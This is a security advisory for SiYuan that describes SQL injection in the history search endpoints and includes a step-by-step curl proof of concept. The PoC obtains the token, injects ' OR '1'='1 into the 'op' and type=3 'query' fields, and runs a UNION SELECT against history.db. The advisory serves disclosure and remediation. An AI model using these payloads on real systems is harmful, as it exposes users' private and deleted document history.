All vulnerabilities
GHSA-4hjx-84f6-gr7c

https://github.com/siyuan-note/siyuan: SQL injection in history search (`op` and `type=3` query) on `history.db`

https://github.com/siyuan-note/siyuan
CVSS
4.9Medium
ExploitationNo known exploitationNot in CISA KEV, which does not prove it is unexploitedCISA KEV
Exploit odds (EPSS)No scoreNo FIRST EPSS score in this snapshot yet
Fixed inNone listedNo source names a fixed version yet
Published9 Oct 2026Updated 9 Oct 2026GitHub

What fixes it

No source in this snapshot names a fixed version.

Description

Summary

The history search endpoint concatenates two attacker-controlled fields - op (always) and query (when type=3, "search by doc ID") - into SQL string literals without escaping, and executes the result against history.db with no single-statement/read-only validation. This is a sibling of the recently-fixed SQLi class (GHSA-336w-67gx-gx2h in search, GHSA-5rwv-4j4c-f954 and GHSA-xr4h-j7cg-q8pc in graph) and a gap in the GHSA-67p9-hm94-xwf3 "guard at the raw-SQL sink" fix, which covered the block-query sinks (sql/block_query.go) but not the history sinks.

Details

kernel/model/history.go - buildSearchHistoryQueryFilter (line 812):

case HistoryTypeDocID:                      // type == 3
    stmt += " id = '" + query + "'"         // line 820 - query UNESCAPED
...
if op = strings.TrimSpace(op); op != "" && op != "all" {
    stmt += " AND op = '" + op + "'"        // line 831 - op UNESCAPED
}

The query is deliberately left unescaped for type=3 (the stringQuery escape is skipped):

// model/history.go:791-794
query = util.RemoveInvalid(query)
if "" != query && HistoryTypeDocID != typ {
    query = stringQuery(query)              // skipped when typ == 3
}

The sinks execute raw SQL with no guard (contrast sql/block_query.go which now calls checkRawBlockQueryStmt):

// sql/history.go
func QueryHistory(stmt string) ... { rows, err := queryHistory(stmt) ... }          // :39
func SelectHistoriesRawStmt(stmt string) ... { rows, err := historyDB.Query(stmt) ... } // :74

Entry points (admin-gated, api/router.go:236-237):

  • POST /api/history/searchHistory (api/history.go:31 → model.FullTextSearchHistory)
  • POST /api/history/getHistoryItems (api/history.go:44 → model.FullTextSearchHistoryItems)
  • MCP history tool (mcp/tools/history.go)

PoC

Verified live against a source-built v3.8.6 kernel (admin token; HistoryType* = 0=DocName, 1=Doc, 2=Asset, 3=DocID, 4=Database).

Step 1: Login and retrieve the token
# a) directly fro the workspace config
TOKEN=$(jq -r '.api.token' <workspace>/ws/conf/conf.json)

# b) remotely via login flow
curl -s -c /tmp/ck.txt -X POST http://127.0.0.1:3806/api/system/loginAuth \
  -H 'Content-Type: application/json' -d '{"authCode":"test123"}'
TOKEN=$(curl -s -b /tmp/ck.txt -X POST http://127.0.0.1:3806/api/system/getConf \
  -H 'Content-Type: application/json' -d '{}' | jq -r '.data.conf.api.token')

echo "$TOKEN"      # => 1ntwkmv0qbnwlgqx

Step 2: Create a notebook + document
NB=$(curl -s -X POST http://127.0.0.1:3806/api/notebook/createNotebook \
  -H "Authorization: Token $TOKEN" -H 'Content-Type: application/json' \
  -d '{"name":"poc"}' | jq -r '.data.notebook.id')

DOC=$(curl -s -X POST http://127.0.0.1:3806/api/filetree/createDocWithMd \
  -H "Authorization: Token $TOKEN" -H 'Content-Type: application/json' \
  -d "{\"notebook\":\"$NB\",\"path\":\"/\",\"markdown\":\"# secret\nHISTORY-CANARY-12345\"}" | jq -r '.data')

echo "$NB $DOC"

Step 3: Seed one history entry
curl -s -X POST http://127.0.0.1:3806/api/history/createDocHistory \
  -H "Authorization: Token $TOKEN" -H 'Content-Type: application/json' -d "{\"id\":\"$DOC\"}"

curl -s -X POST http://127.0.0.1:3806/api/history/reindexHistory \
  -H "Authorization: Token $TOKEN" -H 'Content-Type: application/json' -d '{}'

# confirm
curl -s -X POST http://127.0.0.1:3806/api/history/searchHistory \
  -H "Authorization: Token $TOKEN" -H 'Content-Type: application/json' \
  -d '{"query":"","notebook":"%","op":"all","type":1,"page":1}' | jq '.data.histories'


Step 4: Exploit #1: op injection
# baseline: op=delete filters out the (op=update) entries
curl -s -X POST http://127.0.0.1:3806/api/history/searchHistory \
  -H "Authorization: Token $TOKEN" -H 'Content-Type: application/json' \
  -d '{"query":"","notebook":"%","op":"delete","type":1,"page":1}' | jq '.data.totalCount'
# => 0

# inject: op=delete' OR '1'='1
curl -s -X POST http://127.0.0.1:3806/api/history/searchHistory \
  -H "Authorization: Token $TOKEN" -H 'Content-Type: application/json' \
  -d '{"query":"","notebook":"%","op":"delete\u0027 OR \u00271\u0027=\u00271","type":1,"page":1}' | jq '.data.totalCount'
# => 3   (all history entries leak past the filter)


Step 5: Exploit #2: type=3 query injection
# get the created timestamp first
TS=$(curl -s -X POST http://127.0.0.1:3806/api/history/searchHistory \
  -H "Authorization: Token $TOKEN" -H 'Content-Type: application/json' \
  -d '{"query":"","notebook":"%","op":"all","type":1,"page":1}' | jq -r '.data.histories[0]')

# baseline: non-matching doc id
curl -s -X POST http://127.0.0.1:3806/api/history/getHistoryItems \
  -H "Authorization: Token $TOKEN" -H 'Content-Type: application/json' \
  -d "{\"created\":\"$TS\",\"query\":\"00000000000000-xxxxxxx\",\"notebook\":\"%\",\"op\":\"\",\"type\":3}" | jq '.data.items | length'
# => 0

# inject: query=' OR '1'='1  (type=3 skips the stringQuery escape)
curl -s -X POST http://127.0.0.1:3806/api/history/getHistoryItems \
  -H "Authorization: Token $TOKEN" -H 'Content-Type: application/json' \
  -d "{\"created\":\"$TS\",\"query\":\"\u0027 OR \u00271\u0027=\u00271\",\"notebook\":\"%\",\"op\":\"\",\"type\":3}" | jq '.data.items | length'
# => items leaked

Step 6: UNION SELECT (arbitrary column read)
curl -s -X POST http://127.0.0.1:3806/api/history/getHistoryItems \
  -H "Authorization: Token $TOKEN" -H 'Content-Type: application/json' \
  -d "{\"created\":\"$TS\",\"query\":\"x\u0027 UNION SELECT id, type, op, title, content, path, created FROM histories_fts_case_insensitive --\",\"notebook\":\"%\",\"op\":\"\",\"type\":3}" | jq '.data.items'

Root cause: kernel/model/history.go buildSearchHistoryQueryFilter - AND op = '<op>' (line 831) and id = '<query>' for type=3 (line 820) are concatenated unescaped, then executed via sql.QueryHistory/sql.SelectHistoriesRawStmt with no single-statement/read-only guard.

Impact

SQL injection (read-only) on history.db. Who is impacted: administrators (and any client holding an admin token, e.g. a malicious plugin) can exfiltrate document history - including previously-deleted document content, titles, and paths - in bulk, beyond what the structured history API exposes. The absence of the single-statement/read-only guard that other raw-SQL sinks now enforce means this sink is unhardened against future write/stacking changes.

Remediation: escape op and query (strings.ReplaceAll(v, "'", "''") / stringQuery for all types) in buildSearchHistoryQueryFilter, and add CheckSingleStatement + CheckReadonlyStatement to sql.QueryHistory / sql.SelectHistoriesRawStmt (mirroring the sql/block_query.go fix).

Text from GitHub Advisory Database

Affected versions 1

  • https://github.com/siyuan-note/siyuan, go<= 3.8.6GitHub